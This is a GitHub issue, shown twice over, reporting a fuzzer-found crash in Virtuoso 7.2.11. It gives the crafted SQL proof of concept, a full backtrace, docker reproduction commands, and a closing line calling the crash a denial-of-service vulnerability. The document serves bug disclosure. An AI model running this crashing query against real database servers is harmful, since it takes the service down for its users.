The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 FLOAT ) ;

 CREATE VIEW v2 AS SELECT * FROM v0 WHERE v1 IN ( SELECT * FROM v0 WHERE v1 IN ( 'x' ) ORDER BY v1 , v1 / 61 ) ORDER BY v1 ;

 UPDATE v0 SET v1 = ( SELECT v1 FROM v2 WHERE v1 / ( CASE WHEN v1 NOT IN ( 127 ) AND ( ( -1 , -1 ) , ( -1 , 30 ) ) THEN ( SELECT * FROM v2 WHERE ( SELECT v1 , v1 FROM v0 WHERE v1 = ( 15895325.000000 , 12364601.000000 ) / CASE 54 WHEN NULL THEN -128 END AND v1 = 36 ) ) ELSE v1 + -1 END ) ) + 16 + 67880893.000000 ;
```

backtrace:
```c
#0 0x6e7020 (dfe_inx_op_col_def_table+0xa0)
#1 0x6e7bbc (sqlo_place_col+0x19c)
#2 0x6e5700 (sqlo_place_exp+0x550)
#3 0x70bb09 (sqlo_layout_1+0x17f9)
#4 0x70ad2c (sqlo_layout_1+0xa1c)
#5 0x6eadab (sqlo_layout+0x5fb)
#6 0x6e66f0 (sqlo_place_exp+0x1540)
#7 0x6eb681 (sqlo_pred_body+0x241)
#8 0x6eb906 (sqlo_pred_body+0x4c6)
#9 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#10 0x70193e (sqlo_place_table+0x104e)
#11 0x70967b (sqlo_try+0xdb)
#12 0x70ac5c (sqlo_layout_1+0x94c)
#13 0x6eadab (sqlo_layout+0x5fb)
#14 0x6edb6f (sqlo_place_dt_leaf+0xfdf)
#15 0x6ef5d5 (sqlo_place_dt+0x305)
#16 0x701485 (sqlo_place_table+0xb95)
#17 0x70967b (sqlo_try+0xdb)
#18 0x70ac5c (sqlo_layout_1+0x94c)
#19 0x6eadab (sqlo_layout+0x5fb)
#20 0x6e66f0 (sqlo_place_exp+0x1540)
#21 0x6e5dc3 (sqlo_place_exp+0xc13)
#22 0x6e5444 (sqlo_place_exp+0x294)
#23 0x6eb681 (sqlo_pred_body+0x241)
#24 0x6eb906 (sqlo_pred_body+0x4c6)
#25 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#26 0x70193e (sqlo_place_table+0x104e)
#27 0x704c08 (sqlo_try_in_loop+0x6c8)
#28 0x7097fc (sqlo_try+0x25c)
#29 0x70ac5c (sqlo_layout_1+0x94c)
#30 0x6eadab (sqlo_layout+0x5fb)
#31 0x6edb6f (sqlo_place_dt_leaf+0xfdf)
#32 0x6ef5d5 (sqlo_place_dt+0x305)
#33 0x701485 (sqlo_place_table+0xb95)
#34 0x70967b (sqlo_try+0xdb)
#35 0x70ac5c (sqlo_layout_1+0x94c)
#36 0x6eadab (sqlo_layout+0x5fb)
#37 0x6e66f0 (sqlo_place_exp+0x1540)
#38 0x6e542b (sqlo_place_exp+0x27b)
#39 0x6e542b (sqlo_place_exp+0x27b)
#40 0x70bb09 (sqlo_layout_1+0x17f9)
#41 0x70ad2c (sqlo_layout_1+0xa1c)
#42 0x6eadab (sqlo_layout+0x5fb)
#43 0x70eb45 (sqlo_top_2+0x335)
#44 0x70e465 (sqlo_top_1+0xf5)
#45 0x7101b1 (sqlo_query_spec+0x1a1)
#46 0x7e0258 (sqlc_update_searched+0x548)
#47 0x6b9ac2 (sql_stmt_comp+0x812)
#48 0x6bc9d2 (sql_compile_1+0x1a62)
#49 0x7cba60 (stmt_set_query+0x340)
#50 0x7cd952 (sf_sql_execute+0x922)
#51 0x7cecde (sf_sql_execute_w+0x17e)
#52 0x7d799d (sf_sql_execute_wrapper+0x3d)
#53 0xe214bc (future_wrapper+0x3fc)
#54 0xe28dbe (_thread_boot+0x11e)
#55 0x7f0f387dd609 (start_thread+0xd9)
#56 0x7f0f385ad133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `dfe_inx_op_col_def_table`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `dfe_inx_op_col_def_table`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 FLOAT ) ;

 CREATE VIEW v2 AS SELECT * FROM v0 WHERE v1 IN ( SELECT * FROM v0 WHERE v1 IN ( 'x' ) ORDER BY v1 , v1 / 61 ) ORDER BY v1 ;

 UPDATE v0 SET v1 = ( SELECT v1 FROM v2 WHERE v1 / ( CASE WHEN v1 NOT IN ( 127 ) AND ( ( -1 , -1 ) , ( -1 , 30 ) ) THEN ( SELECT * FROM v2 WHERE ( SELECT v1 , v1 FROM v0 WHERE v1 = ( 15895325.000000 , 12364601.000000 ) / CASE 54 WHEN NULL THEN -128 END AND v1 = 36 ) ) ELSE v1 + -1 END ) ) + 16 + 67880893.000000 ;
```

backtrace:
```c
#0 0x6e7020 (dfe_inx_op_col_def_table+0xa0)
#1 0x6e7bbc (sqlo_place_col+0x19c)
#2 0x6e5700 (sqlo_place_exp+0x550)
#3 0x70bb09 (sqlo_layout_1+0x17f9)
#4 0x70ad2c (sqlo_layout_1+0xa1c)
#5 0x6eadab (sqlo_layout+0x5fb)
#6 0x6e66f0 (sqlo_place_exp+0x1540)
#7 0x6eb681 (sqlo_pred_body+0x241)
#8 0x6eb906 (sqlo_pred_body+0x4c6)
#9 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#10 0x70193e (sqlo_place_table+0x104e)
#11 0x70967b (sqlo_try+0xdb)
#12 0x70ac5c (sqlo_layout_1+0x94c)
#13 0x6eadab (sqlo_layout+0x5fb)
#14 0x6edb6f (sqlo_place_dt_leaf+0xfdf)
#15 0x6ef5d5 (sqlo_place_dt+0x305)
#16 0x701485 (sqlo_place_table+0xb95)
#17 0x70967b (sqlo_try+0xdb)
#18 0x70ac5c (sqlo_layout_1+0x94c)
#19 0x6eadab (sqlo_layout+0x5fb)
#20 0x6e66f0 (sqlo_place_exp+0x1540)
#21 0x6e5dc3 (sqlo_place_exp+0xc13)
#22 0x6e5444 (sqlo_place_exp+0x294)
#23 0x6eb681 (sqlo_pred_body+0x241)
#24 0x6eb906 (sqlo_pred_body+0x4c6)
#25 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#26 0x70193e (sqlo_place_table+0x104e)
#27 0x704c08 (sqlo_try_in_loop+0x6c8)
#28 0x7097fc (sqlo_try+0x25c)
#29 0x70ac5c (sqlo_layout_1+0x94c)
#30 0x6eadab (sqlo_layout+0x5fb)
#31 0x6edb6f (sqlo_place_dt_leaf+0xfdf)
#32 0x6ef5d5 (sqlo_place_dt+0x305)
#33 0x701485 (sqlo_place_table+0xb95)
#34 0x70967b (sqlo_try+0xdb)
#35 0x70ac5c (sqlo_layout_1+0x94c)
#36 0x6eadab (sqlo_layout+0x5fb)
#37 0x6e66f0 (sqlo_place_exp+0x1540)
#38 0x6e542b (sqlo_place_exp+0x27b)
#39 0x6e542b (sqlo_place_exp+0x27b)
#40 0x70bb09 (sqlo_layout_1+0x17f9)
#41 0x70ad2c (sqlo_layout_1+0xa1c)
#42 0x6eadab (sqlo_layout+0x5fb)
#43 0x70eb45 (sqlo_top_2+0x335)
#44 0x70e465 (sqlo_top_1+0xf5)
#45 0x7101b1 (sqlo_query_spec+0x1a1)
#46 0x7e0258 (sqlc_update_searched+0x548)
#47 0x6b9ac2 (sql_stmt_comp+0x812)
#48 0x6bc9d2 (sql_compile_1+0x1a62)
#49 0x7cba60 (stmt_set_query+0x340)
#50 0x7cd952 (sf_sql_execute+0x922)
#51 0x7cecde (sf_sql_execute_w+0x17e)
#52 0x7d799d (sf_sql_execute_wrapper+0x3d)
#53 0xe214bc (future_wrapper+0x3fc)
#54 0xe28dbe (_thread_boot+0x11e)
#55 0x7f0f387dd609 (start_thread+0xd9)
#56 0x7f0f385ad133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.11 at the `dfe_inx_op_col_def_table` function can be triggered by executing a crafted SQL statement. This vulnerability can lead to a Denial of Service (DoS) as the server crashes when processing the specific SQL commands provided in the issue.